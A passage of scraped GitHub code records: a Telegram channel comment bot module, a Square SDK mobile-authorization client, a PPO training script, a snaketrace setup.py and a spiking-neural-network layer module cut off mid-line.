buttons = helper_database.get_button_options(channel_id, msg_id)\n        stat = helper_database.get_reaction_stat(channel_id, msg_id)\n        # Prepare Keyboard\n        motd_keyboard = [[\n            InlineKeyboardButton(\n                value + (\" (%d)\" % stat[idx] if idx in stat else \"\"),\n                callback_data=\"like,%s,%s,%d\" % (channel_id, msg_id, idx)\n            )\n        for idx, value in enumerate(buttons)]] + [[\n            InlineKeyboardButton(\n                helper_global.value(\"add_comment\", \"Add Comment\", lang=channel_lang),\n                url=\"http://telegram.me/%s?start=add_%d_%d\" % (helper_global.value('bot_username', ''), channel_id, msg_id)\n            ),\n            InlineKeyboardButton(\n                helper_global.value(\"show_all_comments\", \"Show All\", lang=channel_lang),\n                url=\"http://telegram.me/%s?start=show_%s_%d\" % (helper_global.value('bot_username', ''), channel_id, msg_id)\n            )\n        ]]\n        motd_markup = InlineKeyboardMarkup(motd_keyboard)\n        bot.edit_message_reply_markup(\n            chat_id=channel_id,\n            message_id=msg_id,\n            reply_markup=motd_markup\n        )\n        return\n\n    # Otherwise\n    # Update Like buttons\n    if update_mode == 0:\n        buttons = helper_database.get_button_options(channel_id, msg_id)\n        stat = helper_database.get_reaction_stat(channel_id, msg_id)\n        # Prepare Keyboard\n        motd_keyboard = [[\n            InlineKeyboardButton(\n                value + (\" (%d)\" % stat[idx] if idx in stat else \"\"),\n                callback_data=\"like,%s,%s,%d\" % (channel_id, msg_id, idx)\n            )\n        for idx, value in enumerate(buttons)]]\n        if comment_id - msg_id > 1:\n            link_id = abs(channel_id) % 10000000000\n            motd_keyboard += [[\n                InlineKeyboardButton(\n                    helper_global.value(\"jump_to_comment\", \"Jump to Comment\", lang=channel_lang),\n                    url=\"https://t.me/c/%d/%d\" % (link_id, comment_id)\n                )\n            ]]\n        motd_markup = InlineKeyboardMarkup(motd_keyboard)\n        bot.edit_message_reply_markup(\n            chat_id=channel_id,\n            message_id=msg_id,\n            reply_markup=motd_markup\n        )\n        return\n\n    # Update comment message\n    records = helper_database.get_recent_records(channel_id, msg_id, recent)\n\n    # Prepare Keyboard\n    motd_keyboard = [[\n        InlineKeyboardButton(\n            helper_global.value(\"add_comment\", \"Add Comment\", lang=channel_lang),\n            url=\"http://telegram.me/%s?start=add_%d_%d\" % (helper_global.value('bot_username', ''), channel_id, msg_id)\n        ),\n        InlineKeyboardButton(\n            helper_global.value(\"show_all_comments\", \"Show All\", lang=channel_lang),\n            url=\"http://telegram.me/%s?start=show_%s_%d\" % (helper_global.value('bot_username', ''), channel_id, msg_id)\n        )\n    ]]\n    motd_markup = InlineKeyboardMarkup(motd_keyboard)\n\n    bot.edit_message_text(\n        text=helper_global.records_to_str(records, channel_lang), \n        chat_id=channel_id, \n        message_id=comment_id, \n        parse_mode=telegram.ParseMode.HTML,\n        reply_markup=motd_markup\n    )\n\n\ndef update_dirty_list():\n    lock.acquire()\n    dirty_list = helper_global.value(\"dirty_list\", [])\n    bot = helper_global.value(\"bot\", None)\n    for item in dirty_list:\n        channel_id, msg_id, update_mode = item\n        threading.Thread(\n            target=update_comments,\n            args=(bot, channel_id, msg_id, update_mode)\n        ).start()\n    helper_global.assign(\"dirty_list\", [])\n    lock.release()\n\n\ndef check_channel_message(bot, message):\n    logger = Logger.logger\n    chat_id = message.chat_id\n    if not message.forward_from_chat:\n        helper_global.send_intro_template(bot, chat_id, helper_const.DEFAULT_LANG, \"register_invalid\", \"register_cmd_invalid\")\n        return\n    chat_type = message.forward_from_chat.type\n    if not chat_type == \"channel\":\n        helper_global.send_intro_template(bot, chat_id, helper_const.DEFAULT_LANG, \"register_invalid\", \"register_cmd_invalid\")\n        return\n    channel_username = message.forward_from_chat.username\n    channel_id = message.forward_from_chat.id\n    user_id = message.from_user.id\n    logger.msg({\n        \"user_id\": chat_id,\n        \"channel_id\": channel_id,\n        \"action\": \"check channel\"\n    }, tag=\"private\", log_level=90)\n    bot_id = int(helper_const.BOT_TOKEN.split(\":\")[0])\n    try:\n        chat_members = bot.get_chat_administrators(chat_id=channel_id).result()\n        chat_member_ids = [member.user.id for member in chat_members]\n        if not user_id in chat_member_ids:\n            helper_global.send_intro_template(bot, chat_id, helper_const.DEFAULT_LANG, \"register_not_admin\", \"register_cmd_not_admin\")\n            return\n        for member in chat_members:\n            if member.user.id == bot_id:\n                post_permission = member.can_post_messages if member.can_post_messages else False\n                edit_permission = member.can_edit_messages if member.can_edit_messages else False\n                delete_permission = member.can_delete_messages if member.can_delete_messages else False\n                if not post_permission or not edit_permission or not delete_permission:\n                    helper_global.send_intro_template(bot, chat_id, helper_const.DEFAULT_LANG, \"register_no_permission\", \"register_cmd_no_permission\")\n                    return\n                break\n    except:\n        helper_global.send_intro_template(bot, chat_id, helper_const.DEFAULT_LANG, \"register_no_info\", \"register_cmd_no_info\")\n        return\n    try:\n        helper_database.add_channel_config(channel_id, helper_const.DEFAULT_LANG, 1, 10, channel_username, chat_id, 1, 1)\n    except:\n        helper_global.assign(str(chat_id) + \"_status\", \"0,0\")\n        helper_global.send_intro_template(bot, chat_id, helper_const.DEFAULT_LANG, \"register_failed\", \"register_cmd_failed\")\n        return\n\n    helper_global.assign(str(chat_id) + \"_status\", \"0,0\")\n    helper_global.send_intro_template(bot, chat_id, helper_const.DEFAULT_LANG, \"register_success\", \"register_cmd_success\")\n\n\ndef private_msg(bot, update):\n    logger = Logger.logger\n    message = update.edited_message if update.edited_message else update.message\n    chat_id = message.chat_id\n    args = helper_global.value(str(chat_id) + \"_status\", \"0,0\")\n    logger.msg({\n        \"user_id\": chat_id,\n        \"status\": args\n    }, tag=\"private\", log_level=90)\n\n    params = args.split(\",\")\n    channel_id = int(params[0])\n    msg_id = int(params[1])\n    if channel_id == 0:\n        if msg_id == 1:\n            check_channel_message(bot, message)\n        return\n\n    # Check comment message\n    comment_exist = helper_database.check_reflect(channel_id, msg_id)\n    config = helper_database.get_channel_config(channel_id)\n    if config is None:\n        return\n    channel_lang = config[1]\n    mode, recent, username, admin_id, notify = config[2], config[3], config[4], config[5], config[6]\n    logger.msg({\n        \"user_id\": chat_id,\n        \"channel_id\": channel_id,\n        \"msg_id\": msg_id,\n        \"action\": \"add comment\"\n    }, tag=\"private\", log_level=90)\n\n    # For Auto Mode = 2\n    if not comment_exist:\n        logger.msg({\n            \"user_id\": chat_id,\n            \"channel_id\": channel_id,\n            \"msg_id\": msg_id,\n            \"action\": \"add comment area\"\n        }, tag=\"private\", log_level=80)\n        comment_message = bot.send_message(\n            chat_id=channel_id, \n            text=helper_global.value(\"comment_refreshing\", \"Refreshing...\", lang=channel_lang), \n            reply_to_message_id=msg_id,\n            parse_mode=telegram.ParseMode.HTML\n        ).result()\n        helper_database.add_reflect(channel_id, msg_id, comment_message.message_id)\n        #bot.edit_message_reply_markup(\n        #    chat_id=channel_id,\n        #    message_id=msg_id,\n        #    reply_markup=None\n        #)\n        update_dirty_msg(channel_id, msg_id, update_mode=0)\n\n    result = add_record(bot, channel_id, msg_id, message)\n\n    # Update Dirty List\n    update_dirty_msg(channel_id, msg_id, update_mode=(2 if mode == 3 else 1))\n    if notify == 1 and not int(chat_id) == int(admin_id):\n        logger.msg({\n            \"user_id\": chat_id,\n            \"channel_id\": channel_id,\n            \"msg_id\": msg_id,\n            \"admin_id\": admin_id,\n            \"action\": \"notify channel owner\"\n        }, tag=\"private\", log_level=80)\n        if username is not None:\n            bot.send_message(\n                chat_id=admin_id, \n                text=helper_global.value(\"new_comment_message\", \"You have a new comment message.\", lang=channel_lang) + \"\\n\" + helper_global.value(\"target_message\", \"\", lang=channel_lang) + \"https://t.me/%s/%d\" % (username, msg_id) \n            )\n        else:\n            link_id = abs(channel_id) % 10000000000\n            bot.send_message(\n                chat_id=admin_id, \n                text=helper_global.value(\"new_comment_message\", \"You have a new comment message.\", lang=channel_lang) + \"\\n\" + helper_global.value(\"target_message\", \"\", lang=channel_lang) + \"https://t.me/c/%d/%d\" % (link_id, msg_id) \n            )\n\n    if result == 0:\n        bot.send_message(chat_id=chat_id, text=helper_global.value(\"comment_success\", \"Success!\", lang=channel_lang))\n    elif result == 1:\n        bot.send_message(chat_id=chat_id, text=helper_global.value(\"comment_edit_success\", \"Success!\", lang=channel_lang))\n\n\ndef update_dirty_msg(channel_id, msg_id, update_mode=1):\n    lock.acquire()\n    dirty_list = helper_global.value(\"dirty_list\", [])\n    if not (channel_id, msg_id, update_mode) in dirty_list:\n        dirty_list.append((channel_id, msg_id, update_mode))\n    helper_global.assign(\"dirty_list\", dirty_list)\n    lock.release()\n\n\ndef set_interval(func, sec):\n    def func_wrapper():\n        set_interval(func, sec)\n        func()\n    t = threading.Timer(sec, func_wrapper)\n    t.start()\n    return t\n\n\nrefresh_status = helper_global.value(\"refresh_status\", False)\nif not refresh_status:\n    set_interval(update_dirty_list, helper_const.MIN_REFRESH_INTERVAL)\n    helper_global.assign(\"refresh_status\", True)\nlock = threading.Lock()\n_handler = MessageHandler(Filters.private, private_msg, edited_updates=True)\n","repo_name":"JogleLew/channel-helper-bot","sub_path":"modules/private_msg.py","file_name":"private_msg.py","file_ext":"py","file_size_in_byte":17179,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"47"}
{"seq_id":"33614787157","text":"# -*- coding: utf-8 -*-\n\nfrom square.api_helper import APIHelper\nfrom square.http.api_response import ApiResponse\nfrom square.api.base_api import BaseApi\nfrom square.http.auth.o_auth_2 import OAuth2\n\n\nclass MobileAuthorizationApi(BaseApi):\n\n    \"\"\"A Controller to access Endpoints in the square API.\"\"\"\n\n    def __init__(self, config, call_back=None):\n        super(MobileAuthorizationApi, self).__init__(config, call_back)\n\n    def create_mobile_authorization_code(self,\n                                         body):\n        \"\"\"Does a POST request to /mobile/authorization-code.\n\n        Generates code to authorize a mobile application to connect to a\n        Square card reader\n        Authorization codes are one-time-use and expire __60 minutes__ after\n        being issued.\n        __Important:__ The `Authorization` header you provide to this endpoint\n        must have the following format:\n        ```\n        Authorization: Bearer ACCESS_TOKEN\n        ```\n        Replace `ACCESS_TOKEN` with a\n        [valid production authorization\n        credential](https://developer.squareup.com/docs/docs/build-basics/acces\n        s-tokens).\n\n        Args:\n            body (CreateMobileAuthorizationCodeRequest): An object containing\n                the fields to POST for the request.  See the corresponding\n                object definition for field details.\n\n        Returns:\n            CreateMobileAuthorizationCodeResponse: Response from the API.\n                Success\n\n        Raises:\n            APIException: When an error occurs while fetching the data from\n                the remote API. This exception includes the HTTP Response\n                code, an error message, and the HTTP body that was received in\n                the request.\n\n        \"\"\"\n\n        # Prepare query URL\n        _url_path = '/mobile/authorization-code'\n        _query_builder = self.config.get_base_uri()\n        _query_builder += _url_path\n        _query_url = APIHelper.clean_url(_query_builder)\n\n        # Prepare headers\n        _headers = {\n            'accept': 'application/json',\n            'content-type': 'application/json; charset=utf-8'\n        }\n\n        # Prepare and execute request\n        _request = self.config.http_client.post(_query_url, headers=_headers, parameters=APIHelper.json_serialize(body))\n        OAuth2.apply(self.config, _request)\n        _response = self.execute_request(_request)\n\n        decoded = APIHelper.json_deserialize(_response.text)\n        if type(decoded) is dict:\n            _errors = decoded.get('errors')\n        else:\n            _errors = None\n        _result = ApiResponse(_response, body=decoded, errors=_errors)\n        return _result\n","repo_name":"square/square-test-sdk","sub_path":"square/api/mobile_authorization_api.py","file_name":"mobile_authorization_api.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"28733669240","text":"# script for PPO, modified from existing repo minimal-isaac-gym\n\nfrom env import BoxEnv\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import MultivariateNormal\nimport matplotlib.pyplot as plt\n\nclass Net(nn.Module):\n    def __init__(self, num_obs=2, num_act=1):\n        super(Net, self).__init__()\n\n        # create a shared structre for actor/critic\n        # sharing a network can increase performance in low-state systems\n        self.shared_net = nn.Sequential(\n            nn.Linear(num_obs, 256),\n            nn.LeakyReLU(),\n            nn.Linear(256,256),\n            nn.LeakyReLU()\n        )\n\n        # set mean/variance of actor network\n        # outputs action as a probability distribution\n        self.to_mean = nn.Sequential(\n            nn.Linear(256, 256),\n            nn.LeakyReLU(),\n            nn.Linear(256, num_act),\n            nn.Tanh()\n        )\n\n        # value for critic network\n        # evaluates the value of being in a specific state\n        self.to_value = nn.Sequential(\n            nn.Linear(256, 256),\n            nn.LeakyReLU(),\n            nn.Linear(256, 1)     \n        )\n\n    # passes a value through the actor network\n    def pi(self, x):\n        x = self.shared_net(x)\n        self.gamma = 0.99 \n        mu = self.to_mean(x)    \n        return mu\n    \n    # passes a value through the critic network (state-value function)\n    def v(self, x):\n        x = self.shared_net(x)\n        x = self.to_value(x)\n        return x\n    \nclass PPO:\n    def __init__(self, args):\n        self.args = args\n        \n        # initializes the environment\n        self.env = BoxEnv(args)\n\n        # hyperparamters for learning\n        self.epoch = 5\n        self.lr = 3e-4  # how often the nn updates weights\n        self.gamma = 0.99\n        self.lmbda = 0.95\n        self.clip = 0.25\n        self.rollout_size = 128\n        self.chunk_size = 32\n        self.mini_chunk_size = self.rollout_size // self.chunk_size\n        self.mini_batch_size = self.args.num_envs * self.mini_chunk_size\n        self.num_eval_freq = 275\n\n        self.data = []\n        self.score = 0\n        self.run_step = 0\n        self.optim_step = 0\n\n        self.net = Net(self.env.num_obs, self.env.num_act).to(args.sim_device)\n\n        # adds variance to the action space\n        self.action_var = torch.full((self.env.num_act,), 0.1).to(args.sim_device)\n\n        # optimizes the parameters of the nn\n        self.optim = torch.optim.Adam(self.net.parameters(), lr=self.lr)\n\n    def make_data(self):\n        # organize the data/make batch\n        data = []\n\n        for _ in range(self.chunk_size):\n            obs_lst, a_lst, r_lst, next_obs_lst, log_prob_lst, done_lst = [], [], [], [], [], []\n            for _ in range(self.mini_chunk_size):\n                # pops out the first entry of data and sets it to rollout\n                rollout = self.data.pop(0)\n\n                # all of those are contained in data, in that order\n                obs, action, reward, next_obs, log_prob, done = rollout\n\n                obs_lst.append(obs)\n                a_lst.append(action)\n                r_lst.append(reward.unsqueeze(-1))\n                next_obs_lst.append(next_obs)\n                log_prob_lst.append(log_prob)\n                done_lst.append(done.unsqueeze(-1))\n\n            obs, action, reward, next_obs, done = \\\n                torch.stack(obs_lst), torch.stack(a_lst), torch.stack(r_lst), torch.stack(next_obs_lst), torch.stack(done_lst)\n            \n            # compute the reward-to-go \n            with torch.no_grad():\n                # calculates target as current reward + value of the next state (discounted by gamma)\n                reward = reward.squeeze(-1)\n                target = reward + self.gamma * self.net.v(next_obs) * done\n\n                # delta is the difference between the what the expected value of the state is and the\n                # actual value of the current observation, if delta > 0 then it was worse, delta < 0 means \n                # the value is more than thought\n\n                # also called the TD error\n                delta = target - self.net.v(obs)\n\n            # compute the advantage of the action\n            adv_list = []\n            advantage = 0.0\n\n            # maps the advantage of each action to show relative impact\n            for delta_t in reversed(delta):\n                advantage = self.gamma * self.lmbda * advantage + delta_t\n                adv_list.insert(0, advantage)\n\n            advantage = torch.stack(adv_list) \n            log_prob = torch.stack(log_prob_lst)\n\n            mini_batch = (obs, action, log_prob, target, advantage)\n            data.append(mini_batch)\n        return data\n    \n    def update(self):\n        # update actor/critic network\n        data = self.make_data()\n\n        for i in range(self.epoch):\n            for mini_batch in data:\n                obs, action, old_log_prob, target, advantage = mini_batch\n\n                # pass the observations through actor network\n                mu = self.net.pi(obs)\n\n                # creates convariance matrix\n                cov_mat = torch.diag(self.action_var)\n\n                # creates guassian distribution with output of actor (mu) as mean and covariance matrix \n                dist = MultivariateNormal(mu, cov_mat)\n\n                # returns log probability of an action\n                log_prob = dist.log_prob(action)\n\n                # returns log probability of an action\n                ratio = torch.exp(log_prob - old_log_prob).unsqueeze(-1)\n\n                # create the surrogate funcitons w/ clip\n                surr1 = ratio * advantage\n                surr2 = torch.clamp(ratio, 1 - self.clip, 1 + self.clip) * advantage\n\n                # loss is the minimum of the surrogates + loss from the critic network eval of state and target\n                loss = -torch.min(surr1, surr2) + F.smooth_l1_loss(self.net.v(obs), target)\n\n                # zeros out the gradients for a clean slate\n                self.optim.zero_grad()\n\n                # initialize backprop on the mean of the gradients\n                loss.mean().backward()\n            \n                # scale the gradients to prevent large policy updates\n                nn.utils.clip_grad_norm_(self.net.parameters(), 1.0)\n\n                # perform single optimization step\n                self.optim.step()\n\n                self.optim_step += 1\n\n    def run(self):\n        # collect data\n        # receive observations from env\n        obs = self.env.obs_buf.clone()     # size(num_envs, num_obs)\n\n\n        with torch.no_grad():\n\n            # passes obs through actor net\n            mu = self.net.pi(obs)\n\n            # creates another covariance matrix\n            cov_mat =  torch.diag(self.action_var)\n\n            # calculates action distrubution using (mean, variance)\n            dist = MultivariateNormal(mu, cov_mat)\n\n            # samples action from a distribution\n            action = dist.sample()\n\n            # determines prob of policy taking that action\n            log_prob = dist.log_prob(action)\n\n            # clips the action from -1 to 1 (because of the cartpole env?)\n            # the action space = num_envs\n            action = action.clip(-1, 1)\n\n        # sends action to env to simulate\n        self.env.step(action)\n        next_obs, reward, done = self.env.obs_buf.clone(), self.env.reward_buf.clone(), self.env.reset_buf.clone()\n        self.env.reset()\n\n        self.data.append((obs, action, reward, next_obs, log_prob, 1 - done))\n\n        self.score += torch.mean(reward.float()).item() / self.num_eval_freq\n\n        self.action_var = torch.max(0.01 * torch.ones_like(self.action_var), self.action_var - 0.00002)\n\n        # training mode\n        if len(self.data) == self.rollout_size:\n            self.update()\n\n        # evaluation mode\n        if self.run_step % self.num_eval_freq == 0:\n            print('Steps: {:04d} | Reward {:.04f} | Action Var {:.04f}'\n                  .format(self.run_step, self.score, self.action_var[0].item()))\n            self.score = 0\n\n        self.run_step += 1\n\n    \n\n\n\n\n\n","repo_name":"robowork/object-gym","sub_path":"ppo.py","file_name":"ppo.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72594209422","text":"import os\nfrom setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as f:\n    long_description = f.read()\n\nsetup(\n    name='snaketrace',\n    version='0.3.1',\n    description='An strace-like tool for Python audit events',\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url='https://github.com/dcoles/snaketrace',\n    packages=find_packages(),\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"Programming Language :: Python :: 3.8\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ],\n    python_requires='>=3.8',\n    entry_points={\n        'console_scripts': [\n            'snaketrace = snaketrace.__main__:main',\n        ] + ([\n            '\\N{SNAKE}trace = snaketrace.__main__:main',\n        ] if os.getenv('ANTIGRAVITY') else []),\n    },\n)\n","repo_name":"dcoles/snaketrace","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
{"seq_id":"25946654395","text":"\"\"\"\r\n-*- coding: utf-8 -*-\r\n\r\n@Time    : 2021/10/21 10:03\r\n\r\n@Author  : Wang Ziming\r\n\r\n@Email   : zi_ming_wang@outlook.com\r\n\r\n@File    : snn.py\r\n\r\nReference:\r\n    1. Gu, Pengjie, et al. \"STCA: Spatio-Temporal Credit Assignment with Delayed Feedback in Deep Spiking Neural Networks.\" IJCAI. 2019.\r\n    2. Zimmer, Romain, et al. \"Technical report: supervised training of convolutional spiking neural networks with PyTorch.\" arXiv preprint arXiv:1911.10124 (2019).\r\n    3. 加速自定义RNN Cell: https://github.com/pytorch/pytorch/blob/963f7629b591dc9750476faf1513bc7f1fb4d6de/benchmarks/fastrnns/custom_lstms.py#L246\r\n\"\"\"\r\nimport torch\r\nimport numpy as np\r\nfrom .function import td_Dropout\r\n\r\n\r\nclass SNN(torch.nn.Module):\r\n\r\n    def __init__(self, layers):\r\n\r\n        super(SNN, self).__init__()\r\n        self.layers = torch.nn.ModuleList(layers)\r\n\r\n    def forward(self, x):\r\n        loss_seq = []\r\n        for l in self.layers:\r\n            # if isinstance(l, tdBatchNorm):\r\n            #     x = x.unsqueeze(1)\r\n            #     x = x.unsqueeze(-1)\r\n            #     # print(x.shape)\r\n            #     x = l(x)\r\n            #     x = x.squeeze()\r\n            # else:\r\n                x, loss = l(x)\r\n                loss_seq.append(loss)\r\n\r\n        return x, loss_seq\r\n\r\n    def clamp(self):\r\n\r\n        for l in self.layers:\r\n                l.clamp()\r\n\r\n    def reset_parameters(self):\r\n\r\n        for l in self.layers:\r\n                l.reset_parameters()\r\n\r\n\r\nclass STCADenseLayer(torch.nn.Module):\r\n\r\n    def __init__(self, input_shape, output_shape, spike_fn, w_init_mean, w_init_std,\r\n                 recurrent=False, lateral_connections=True, rc_drop=-1, fc_drop=-1, eps=1e-8):\r\n\r\n        super(STCADenseLayer, self).__init__()\r\n\r\n        self.input_shape = input_shape\r\n        self.output_shape = output_shape\r\n        self.spike_fn = spike_fn\r\n        self.recurrent = recurrent\r\n        self.eps = eps\r\n        self.lateral_connections = lateral_connections\r\n\r\n        self.w_init_mean = w_init_mean\r\n        self.w_init_std = w_init_std\r\n\r\n        self.w = torch.nn.Parameter(torch.empty((input_shape, output_shape)), requires_grad=True)\r\n        if recurrent:\r\n            self.v = torch.nn.Parameter(torch.empty((output_shape, output_shape)), requires_grad=True)\r\n\r\n        # RNN Dropout\r\n        self.fc_drop = fc_drop\r\n        self.rc_drop = rc_drop\r\n        if fc_drop > 0:\r\n            self.drop_fc = td_Dropout(fc_drop, True)\r\n        if rc_drop > 0:\r\n            self.drop_rc = td_Dropout(rc_drop, True)\r\n\r\n        self.b = torch.nn.Parameter(torch.empty(output_shape), requires_grad=True)  # threshhold\r\n\r\n        # decay\r\n        self.decay_m = torch.nn.Parameter(torch.empty(1), requires_grad=True)\r\n        self.decay_s = torch.nn.Parameter(torch.empty(1), requires_grad=True)\r\n        self.decay_e = torch.nn.Parameter(torch.empty(1), requires_grad=True)\r\n\r\n        self.reset_parameters()\r\n        self.clamp()\r\n\r\n        self.spk_rec_hist = None\r\n\r\n        self.training = True\r\n\r\n    def forward(self, x):\r\n\r\n        batch_size = x.shape[0]\r\n        # update drop out mask\r\n        if self.fc_drop > 0:\r\n            self.drop_fc.reset()\r\n        if self.rc_drop > 0:\r\n            self.drop_rc.reset()\r\n        # todo: 爱因斯坦求和标记，支持torch BP\r\n        h = torch.einsum(\"abc,cd->abd\", x, self.w)\r\n        nb_steps = h.shape[1]\r\n\r\n        # output spikes\r\n        spk = torch.zeros((batch_size, self.output_shape), dtype=x.dtype, device=x.device)\r\n        # refractory period kernel\r\n        E = torch.zeros((batch_size, self.output_shape), dtype=x.dtype, device=x.device)\r\n        # input response kernel\r\n        M = torch.zeros((batch_size, self.output_shape), dtype=x.dtype, device=x.device)\r\n        S = torch.zeros((batch_size, self.output_shape), dtype=x.dtype, device=x.device)\r\n\r\n        # output spikes recording\r\n        spk_rec = torch.zeros((batch_size, nb_steps, self.output_shape), dtype=x.dtype, device=x.device)\r\n\r\n        if self.lateral_connections:  # 计算侧抑制权重\r\n            d = torch.einsum(\"ab, ac -> bc\", self.w, self.w)\r\n\r\n        norm = (self.w ** 2).sum(0)  # 对每个输出神经元计算norm以约束权重\r\n\r\n        for t in range(nb_steps):\r\n            # input term\r\n            input_ = h[:, t, :]\r\n            if self.recurrent:\r\n                if self.rc_drop > 0:\r\n                    input_ = input_ + torch.einsum(\"ab,bc->ac\", self.drop_rc(spk), self.v)\r\n                else:\r\n                    input_ = input_ + torch.einsum(\"ab,bc->ac\", spk, self.v)\r\n\r\n            # todo: add reset mechanism\r\n            if self.lateral_connections:\r\n                # 模拟侧抑制\r\n                E = torch.einsum(\"ab,bc ->ac\", spk, d)\r\n            else:\r\n                # 模拟refractory period\r\n                E = self.decay_m * norm * (E + spk)\r\n\r\n            M = self.decay_m * (M + input_)\r\n            S = self.decay_s * (S + input_)\r\n\r\n            # membrane potential update\r\n            mem = M - S - E\r\n            mthr = torch.einsum(\"ab,b->ab\", mem, 1. / (norm + self.eps)) - self.b\r\n\r\n            spk = self.spike_fn(mthr)\r\n            spk_rec[:, t, :] = spk\r\n            if self.fc_drop > 0:\r\n                spk = self.drop_fc(spk)\r\n\r\n            # save spk_rec for plotting\r\n        self.spk_rec_hist = spk_rec.detach().cpu().numpy()  # 记录该层的脉冲发放 shape: batch_size x T x NeuIn\r\n\r\n        loss = 0.5 * (spk_rec ** 2).mean()\r\n\r\n        return spk_rec, loss\r\n\r\n    # todo: 将权重的初始化逻辑从module中独立出来形成Initilizer\r\n    def reset_parameters(self):\r\n\r\n        torch.nn.init.normal_(self.w, mean=self.w_init_mean, std=self.w_init_std * np.sqrt(1. / self.input_shape))\r\n        if self.recurrent:\r\n            torch.nn.init.normal_(self.v, mean=self.w_init_mean, std=self.w_init_std * np.sqrt(1. / self.output_shape))\r\n        torch.nn.init.normal_(self.decay_m, mean=0.6, std=0.01)\r\n        torch.nn.init.normal_(self.decay_s, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.decay_e, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.b, mean=1., std=0.01)\r\n\r\n    def reset_parameters_v2(self):\r\n        torch.nn.init.normal_(self.w, mean=self.w_init_mean, std=self.w_init_std * np.sqrt(1. / self.input_shape))\r\n        if self.recurrent:\r\n            torch.nn.init.orthogonal(self.v)\r\n        torch.nn.init.normal_(self.decay_m, mean=0.6, std=0.01)\r\n        torch.nn.init.normal_(self.decay_s, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.decay_e, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.b, mean=1., std=0.01)\r\n\r\n    def reset_parameters_v3(self):\r\n        torch.nn.init.orthogonal(self.w)\r\n        if self.recurrent:\r\n            torch.nn.init.orthogonal(self.v)\r\n        torch.nn.init.normal_(self.decay_m, mean=0.6, std=0.01)\r\n        torch.nn.init.normal_(self.decay_s, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.decay_e, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.b, mean=1., std=0.01)\r\n\r\n    def reset_parameters_v4(self):\r\n        torch.nn.init.xavier_normal_(self.w)\r\n        if self.recurrent:\r\n            torch.nn.init.xavier_normal_(self.v)\r\n        torch.nn.init.normal_(self.decay_m, mean=0.6, std=0.01)\r\n        torch.nn.init.normal_(self.decay_s, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.decay_e, mean=0.9, std=0.01)\r\n        torch.nn.init.normal_(self.b, mean=1., std=0.01)\r\n\r\n    # todo: 将decay改为可学习的softmax门控机制\r\n    def clamp(self):\r\n        self.decay_m.data.clamp_(0., 1.)\r\n        self.decay_e.data.clamp_(0., 1.)\r\n        self.decay_s.data.clamp_(0., 1.)\r\n        self.b.data.clamp_(min=0.)\r\n\r\n\r\nclass ReadoutLayer(torch.nn.Module):\r\n    \"Fully connected readout\"\r\n\r\n    def __init__(self, input_shape, output_shape, w_init_mean, w_init_std, eps=1e-8, time_reduction=\"mean\"):\r\n\r\n        assert time_reduction in [\"mean\", \"max\"], 'time_reduction should be \"mean\" or \"max\"'\r\n\r\n        super(ReadoutLayer, self).__init__()\r\n\r\n        self.input_shape = input_shape\r\n        self.output_shape = output_shape\r\n\r\n        self.w_init_mean = w_init_mean\r\n        self.w_init_std = w_init_std\r\n\r\n        self.eps = eps\r\n        self.time_reduction = time_reduction\r\n\r\n        self.w = torch.nn.Parameter(torch.empty((input_shape, output_shape)), requires_grad=True)\r\n        if time_reduction == \"max\":\r\n            self.beta = torch.nn.Parameter(torch.tensor(0.7 * np.ones((1))), requires_grad=True)\r\n        self.b = torch.nn.Parameter(torch.empty(output_shape), requires_grad=True)\r\n\r\n        self.reset_parameters()\r\n        self.clamp()\r\n\r\n        self.mem_rec_hist = None\r\n\r\n    def forward(self, x):\r\n\r\n        batch_size = x.shape[0]\r\n\r\n        h = torch.einsum(\"abc,cd->abd\", x, self.w)\r\n\r\n        norm = (self.w ** 2).sum(0)\r\n\r\n        if self.time_reduction == \"max\":\r\n            nb_steps = x.shape[1]\r\n            # membrane potential\r\n            mem = torch.zeros((batch_size, self.output_shape), dtype=x.dtype, device=x.device)\r\n\r\n            # memrane potential recording\r\n            mem_rec = torch.zeros((batch_size, nb_steps, self.output_shape), dtype=x.dtype, device=x.device)\r\n\r\n            for t in range(nb_steps):\r\n                # membrane potential update\r\n                mem = mem * self.beta + (1 - self.beta) * h[:, t, :]\r\n                mem_rec[:, t, :] = mem\r\n\r\n            output = torch.max(mem_rec, 1)[0] / (norm + 1e-8) - self.b\r\n\r\n        elif self.time_reduction == \"mean\":\r\n\r\n            mem_rec = h\r\n            output = torch.mean(mem_rec, 1) / (norm + 1e-8) - self.b\r\n\r\n        # save mem_rec for plotting\r\n        self.mem_rec_hist = mem_rec.detach().cpu().numpy()\r\n\r\n        loss = None\r\n\r\n        return output, loss\r\n\r\n    def reset_parameters(self):\r\n        torch.nn.init.normal_(self.w, mean=self.w_init_mean,\r\n                              std=self.w_init_std * np.sqrt(1. / (self.input_shape)))\r\n\r\n        if self.time_reduction == \"max\":\r\n            torch.nn.init.normal_(self.beta, mean=0.7, std=0.01)\r\n\r\n        torch.nn.init.normal_(self.b, mean=0., std=0.01)\r\n\r\n    def reset_parameters_v4(self):\r\n        torch.nn.init.xavier_normal_(self.w)\r\n\r\n        if self.time_reduction == \"max\":\r\n            torch.nn.init.normal_(self.beta, mean=0.7, std=0.01)\r\n\r\n        torch.nn.init.normal_(self.b, mean=1., std=0.01)\r\n\r\n    def clamp(self):\r\n\r\n        if self.time_reduction == \"max\":\r\n            self.beta.data.clamp_(0., 